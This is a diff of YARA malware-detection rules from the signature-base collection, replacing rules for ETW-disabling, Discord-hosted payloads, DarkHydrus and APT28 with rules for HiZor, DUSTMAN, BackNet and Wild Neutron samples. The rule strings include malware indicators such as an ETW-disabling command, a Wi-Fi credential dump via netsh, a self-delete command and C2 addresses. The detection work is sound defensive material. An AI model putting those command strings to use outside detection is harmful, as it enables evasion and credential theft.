-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "182ad2512bcfbcd92d13380113b32982eb367e458019f07038a12f494dfbebb6"
-		score = 65
+		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hizor_rat.yar#L1-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e3224d34db788d2cba9da74690bf75429d6e8a516d7666d0331e465d08640cb"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+		hash2 = "d9821468315ccd3b9ea03161566ef18e"
+		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
 
 	strings:
-		$x1 = "set COMPlus_ETWEnabled=0" ascii wide fullword
-		$x2 = "$env:COMPlus_ETWEnabled=0" ascii wide fullword
-		$s1 = "Software\\Microsoft.NETFramework" ascii wide
-		$sa1 = "/v ETWEnabled" ascii wide fullword
-		$sa2 = " /d 0" ascii wide
-		$sb4 = "-Name ETWEnabled"
-		$sb5 = " -Value 0 "
+		$s1 = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 }
+		$s2 = { 66 [7] 0d 40 83 ?? ?? 7c ?? }
+		$s3 = { 80 [2] 2e 40 3b ?? 72 ?? }
+		$s4 = "CmdProcessExited" wide ascii
+		$s5 = "rootDir" wide ascii
+		$s6 = "DllRegisterServer" wide ascii
+		$s7 = "GetNativeSystemInfo" wide ascii
+		$s8 = "%08x%08x%08x%08x" wide ascii
 
 	condition:
-		1 of ($x*) or 3 of them
+		( uint16(0)==0x5A4D or uint32(0)==0x464c457f) and ( all of them )
 }
-rule SIGNATURE_BASE_SUSP_PE_Discord_Attachment_Oct21_1 : FILE
+rule SIGNATURE_BASE_MAL_ME_Rawdisk_Agent_Jan20_1 : FILE
 {
 	meta:
-		description = "Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
+		description = "Detects suspicious malware using ElRawDisk"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7c217350-4a35-505d-950d-1bc989c14bc2"
-		date = "2021-10-12"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L407-L421"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4d84ec50738f4c7aca8e77c3aabdcd77f3071733a2245a58283f070f2b220599"
-		score = 70
+		id = "0efaae51-1407-5039-9e5a-9c2f13d6a971"
+		date = "2020-01-02"
+		modified = "2022-12-21"
+		reference = "Saudi National Cybersecurity Authority - Destructive Attack DUSTMAN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dustman.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "90345b8358d72b6616c6277222fb1091cb3a88b844391ac3766e7d1ee1192fbe"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
 
 	strings:
-		$x1 = "https://cdn.discordapp.com/attachments/" ascii wide
+		$x1 = "\\drv\\agent.plain.pdb" ascii
+		$x2 = " ************** Down With Saudi Kingdom, Down With Bin Salman ************** " fullword ascii
+		$s1 = ".?AVERDError@@" fullword ascii
+		$s2 = "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d" fullword wide
+		$s3 = "\\\\?\\ElRawDisk" fullword wide
+		$s4 = "\\??\\c:" wide
+		$op1 = { e9 3d ff ff ff 33 c0 48 89 05 0d ff 00 00 48 8b }
+		$op2 = { 0f b6 0c 01 88 48 34 48 8b 8d a8 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <=2000KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_SUSP_Encoded_Discord_Attachment_Oct21_1 : FILE
+rule SIGNATURE_BASE_MAL_ME_Rawdisk_Agent_Jan20_2 : FILE
 {
 	meta:
-		description = "Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
+		description = "Detects suspicious malware using ElRawDisk"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06c086f4-8b79-5506-9e3f-b5d099106157"
-		date = "2021-10-12"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L423-L448"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1ea5a83e91b5c5b4b8a1d507c365bc1583394c97a28b7d7a576f085854676769"
-		score = 70
+		id = "9817fb22-7bed-5869-aa92-66c458b81c7f"
+		date = "2020-01-02"
+		modified = "2022-12-21"
+		reference = "https://twitter.com/jfslowik/status/1212501454549741568?s=09"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dustman.yar#L26-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73e4a88b749e3b2654e9021290932d2e556c29cfa772785b23bebad9f3a3f90a"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
 
 	strings:
-		$enc_b01 = "Y2RuLmRpc2NvcmRhcHAuY29tL2F0dGFjaG1lbnRz" ascii wide
-		$enc_b02 = "Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50c" ascii wide
-		$enc_b03 = "jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudH" ascii wide
-		$enc_b04 = "AGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABz" ascii wide
-		$enc_b05 = "BjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAc" ascii wide
-		$enc_b06 = "AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AH" ascii wide
-		$enc_h01 = "63646E2E646973636F72646170702E636F6D2F6174746163686D656E7473" ascii wide
-		$enc_h02 = "63646e2e646973636f72646170702e636f6d2f6174746163686d656e7473" ascii wide
-		$enc_r01 = "stnemhcatta/moc.ppadrocsid.ndc" ascii wide
+		$x1 = "\\Release\\Dustman.pdb" ascii
+		$x2 = "/c agent.exe A" fullword ascii
+		$s1 = "C:\\windows\\system32\\cmd.exe" fullword ascii
+		$s2 = "The Magic Word!" fullword ascii
+		$s3 = "Software\\Oracle\\VirtualBox" fullword wide
+		$s4 = "\\assistant.sys" wide
+		$s5 = "Down With Bin Salman" fullword wide
+		$sc1 = { 00 5C 00 5C 00 2E 00 5C 00 25 00 73 }
+		$op1 = { 49 81 c6 ff ff ff 7f 4c 89 b4 24 98 }
 
 	condition:
-		filesize <5000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <=3000KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_PUP_Installrex_Antifwb : FILE
+rule SIGNATURE_BASE_MAL_Backnet_Nov18_1 : FILE
 {
 	meta:
-		description = "Malware InstallRex / AntiFW"
+		description = "Detects BackNet samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b327527e-8b88-5292-933b-102bd76df4eb"
-		date = "2015-05-13"
+		id = "f8575c5a-710d-5e97-91c1-5db454c6baf4"
+		date = "2018-11-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_antifw_installrex.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bb5607cd2ee51f039f60e32cf7edc4e21a2d95cd"
-		logic_hash = "04f25497ee9a9af20179b81679d993315d6bb3d7bf7d8e9cbb01374395019610"
-		score = 55
+		reference = "https://github.com/valsov/BackNet"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_backnet.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea809a65a3cd786efe03ff7d831847e658851f76ee9dd084cb6c622b6e44c75f"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4ce82644eaa1a00cdb6e2f363743553f2e4bd1eddb8bc84e45eda7c0699d9adc"
 
 	strings:
-		$s4 = "Error %u while loading TSU.DLL %ls" fullword ascii
-		$s7 = "GetModuleFileName() failed => %u" fullword ascii
-		$s8 = "TSULoader.exe" fullword wide
-		$s15 = "\\StringFileInfo\\%04x%04x\\Arguments" wide
-		$s17 = "Tsu%08lX.dll" fullword wide
+		$s1 = "ProcessedByFody" fullword ascii
+		$s2 = "SELECT * FROM AntivirusProduct" fullword wide
+		$s3 = "/C netsh wlan show profile" wide
+		$s4 = "browsertornado" fullword wide
+		$s5 = "Current user is administrator" fullword wide
+		$s6 = "/C choice /C Y /N /D Y /T 4 & Del" wide
+		$s7 = "ThisIsMyMutex-2JUY34DE8E23D7" wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <2000KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Darkhydrus_Jul18_1 : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_1 : FILE
 {
 	meta:
-		description = "Detects strings found in malware samples in APT report in DarkHydrus"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fbd001c0-43c9-5429-84d6-7f62eadd8ff3"
-		date = "2018-07-28"
+		id = "7bcb407f-7f01-540a-852c-a37456270888"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_darkhydrus.yar#L13-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2c39f2e6b37e6422984275f45a2917891c3b482d137dbbfd6293088c2f2dacc3"
-		score = 75
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L10-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
+		logic_hash = "d8044761fa51f2afd16eb096aa9e896483387c47e10ce922f2ef32ebcbd1a520"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
 
 	strings:
-		$x1 = "Z:\\devcenter\\aggressor\\" ascii
+		$s0 = "LiveUpdater.exe" fullword wide
+		$s1 = "id-at-postalAddress" fullword ascii
+		$s2 = "%d -> %d (default)" fullword wide
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
+		$s8 = "id-ce-keyUsage" fullword ascii
+		$s9 = "Key Usage" fullword ascii
+		$s32 = "UPDATE_ID" fullword wide
+		$s37 = "id-at-commonName" fullword ascii
+		$s38 = "2008R2" fullword wide
+		$s39 = "RSA-alt" fullword ascii
+		$s40 = "%02d.%04d.%s" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="d3666d1cde4790b22b44ec35976687fb" or 1 of them )
+		uint16(0)==0x5a4d and filesize <800KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Darkhydrus_Jul18_2 : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_2 : FILE
 {
 	meta:
-		description = "Detects strings found in malware samples in APT report in DarkHydrus"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1a21cbbf-f7e1-56eb-973b-35c1a811e210"
-		date = "2018-07-28"
+		id = "1893c251-f81a-5361-91fa-f91a6d1379d2"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_darkhydrus.yar#L31-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e967fec69ad1cbb46a63ee520594e7d6f2445a400510a9864dbd6d4c6e092737"
-		score = 75
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L36-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
+		logic_hash = "3a796199a2e9f2711e5fbdc1050234a8f3c09f762bc645f49a705d9f112d9cdc"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81"
 
 	strings:
-		$s4 = "windir" fullword ascii
-		$s6 = "temp.dll" fullword ascii
-		$s7 = "libgcj-12.dll" fullword ascii
-		$s8 = "%s\\System32\\%s" fullword ascii
-		$s9 = "StartW" fullword ascii
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide
+		$s1 = "IgfxUpt.exe" fullword wide
+		$s2 = "id-at-postalAddress" fullword ascii
+		$s3 = "Intel(R) Common User Interface" fullword wide
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
+		$s11 = "Key Usage" fullword ascii
+		$s12 = "Intel Integrated Graphics Updater" fullword wide
+		$s13 = "%sexpires on    : %04d-%02d-%02d %02d:%02d:%02d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and all of them
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Darkhydrus_Jul18_3 : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_3 : FILE
 {
 	meta:
-		description = "Detects strings found in malware samples in APT report in DarkHydrus"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1f766b49-3173-5f8a-ba52-a9ce9000be79"
-		date = "2018-07-28"
+		id = "1c5d1442-b2be-5a34-b5c9-78aaf67072c4"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_darkhydrus.yar#L50-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f3425322846e6064ec2576ad4e73061fbec3e4400de54d05fe07b8ad2a31f92"
-		score = 75
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L59-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
+		logic_hash = "16d511412576df2eb6d9646856d37bd94af7648cc602510696b74fa0534e405d"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3"
 
 	strings:
-		$s2 = "Ws2_32.dll" fullword ascii
-		$s3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" fullword ascii
+		$x1 = "178.162.197.9" fullword ascii
+		$x2 = "\"http://fw.ddosprotected.eu:80 /opts resolv=drfx.chickenkiller.com\"" fullword wide
+		$s1 = "LiveUpdater.exe" fullword wide
+		$s2 = "id-at-postalAddress" fullword ascii
+		$s3 = "%d -> %d (default)" fullword wide
+		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
+		$s5 = "id-at-serialNumber" fullword ascii
+		$s6 = "ECDSA with SHA256" fullword ascii
+		$s7 = "Acer LiveUpdater" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="478eacfbe2b201dabe63be53f34148a5" or all of them )
+		uint16(0)==0x5a4d and filesize <2020KB and (1 of ($x*) or all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Unlicensed_Cobaltstrike_EICAR_Jul18_5 : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_4 : FILE
 {
 	meta:
-		description = "Detects strings found in CobaltStrike shellcode"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d52536b8-dd6b-59be-8761-d22b6a279114"
-		date = "2018-07-28"
-		modified = "2021-06-17"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_darkhydrus.yar#L69-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d066f22e01f9ca3a33c669552046a5ab8dd9e579236974b1c468ba9644498951"
-		score = 75
+		id = "52ff5770-1ca4-54d9-b69d-8af0c392084e"
+		date = "2015-07-10"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L85-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
+		logic_hash = "4882b7c5f469615436490cd628ee3bb5b0dded43fb556ac6477cdadc6c8eff05"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1"
 
 	strings:
-		$x1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
-		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
-		$s2 = "libgcj-12.dll" fullword ascii
+		$x1 = "WinRAT-Win32-Release.exe" fullword ascii
+		$s0 = "rundll32.exe \"%s\",#1" fullword wide
+		$s1 = "RtlUpd.EXE" fullword wide
+		$s2 = "RtlUpd.exe" fullword wide
+		$s3 = "Driver Update and remove for Windows x64 or x86_32" fullword wide
+		$s4 = "Realtek HD Audio Update and remove driver Tool" fullword wide
+		$s5 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
+		$s6 = "Key Usage" fullword ascii
+		$s7 = "id-at-serialNumber" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and (pe.imphash()=="829da329ce140d873b4a8bde2cbfaa7e" or all of ($s*) or $x1)
+		uint16(0)==0x5a4d and filesize <1240KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Hospitalitymalware_Document : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_5 : FILE
 {
 	meta:
-		description = "Yara Rule for APT28_Hospitality_Malware document identification"
-		author = "CSE CybSec Enterprise - Z-Lab"
-		id = "722e80ef-d729-5887-9853-cd06128f506d"
-		date = "2017-10-02"
+		description = "Wild Neutron APT Sample Rule"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0df63255-155d-56b9-b86b-491855983095"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_hospitality.yar#L3-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "33c69e03e00c90dc0b673cdb042f8f979552086414bda9c9f17f3785214b05af"
-		score = 75
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L110-L133"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
+		logic_hash = "57792a54c96c59a1e9ed961715c72187936aee6f001c2ed4f95ca84e799e9c8c"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		tlp = "white"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = {75 52 B9 ED 1B D6 83 0F DB 24 CA 87 4F 5F 25 36 BF 66 BA}
-		$b = {EC 3B 6D 74 5B C5 95 F3 9E 24 5B FE 4A 64 C7 09 CE 07 C9 58 4E 62 3B}
+		$s0 = "LiveUpdater.exe" fullword wide
+		$s1 = "id-at-postalAddress" fullword ascii
+		$s2 = "%d -> %d (default)" fullword wide
+		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
+		$s4 = "sha-1WithRSAEncryption" fullword ascii
+		$s5 = "Postal code" fullword ascii
+		$s6 = "id-ce-keyUsage" fullword ascii
+		$s7 = "Key Usage" fullword ascii
+		$s8 = "TLS-RSA-WITH-3DES-EDE-CBC-SHA" fullword ascii
+		$s9 = "%02d.%04d.%s" fullword wide
 
 	condition:
-		all of them and filesize >75KB and filesize <82KB
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Hospitalitymalware_Mvtband_File
+rule SIGNATURE_BASE_Wildneutron_Sample_6 : FILE
 {
 	meta:
-		description = "Yara Rule for mvtband.dll malware"
-		author = "CSE CybSec Enterprise - Z-Lab"
-		id = "f9e34c77-38b3-513e-bb29-148ac7058596"
-		date = "2017-10-02"
+		description = "Wild Neutron APT Sample Rule"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c5d87cad-d1ca-5766-90c1-fc8ecfa3f14f"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_hospitality.yar#L20-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5da333444e7c9f023d9c6d8d1dec617859efdb26f9f6bc41e22ef27d2e3059a"
-		score = 75
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L135-L149"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
+		logic_hash = "7dc7f9815f2b2c934ecf93f5813bdb87364b2b9e2a5aebc04f76cfff43e46d30"
+		score = 60
 		quality = 85
-		tags = ""
-		tlp = "white"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "DGMNOEP"
-		$b = {C7 45 94 0A 25 73 30 8D 45 94}
+		$s0 = "mshtaex.exe" fullword wide
 
 	condition:
-		all of them and pe.sections[2].raw_data_size==0
+		uint16(0)==0x5a4d and filesize <310KB and all of them
 }
-rule SIGNATURE_BASE_Darkeyev3_Cryptor : FILE
+rule SIGNATURE_BASE_Wildneutron_Sample_7 : FILE
 {
 	meta:
-		description = "Rule to detect DarkEYEv3 encrypted executables (often malware)"
+		description = "Wild Neutron APT Sample Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a2b455e5-3021-5662-b593-c1aeeb34c226"
-		date = "2015-05-24"
+		id = "22561c55-4294-50c9-a9b9-7b4ed98eec09"
+		date = "2015-07-10"
 		modified = "2023-12-05"
-		reference = "http://darkeyev3.blogspot.fi/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_cryptors.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fdd3a9c22aebb40d000a642f2433adc7dd591784bdf2924edc3effce7bbfa5c2"
-		score = 55
+		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_wildneutron.yar#L151-L176"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
+		logic_hash = "8a081932be8fd03c37a87486570a02a31756ba6bd125dbed7da9703197447ea5"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash0 = "6b854b967397f7de0da2326bdd5d39e710e2bb12"
-		hash1 = "d53149968eca654fc0e803f925e7526fdac2786c"
-		hash2 = "7e3a8940d446c57504d6a7edb6445681cca31c65"
-		hash3 = "d3dd665dd77b02d7024ac16eb0949f4f598299e7"
-		hash4 = "a907a7b74a096f024efe57953c85464e87275ba3"
-		hash5 = "b1c422155f76f992048377ee50c79fe164b22293"
-		hash6 = "29f5322ce5e9147f09e0a86cc23a7c8dc88721b9"
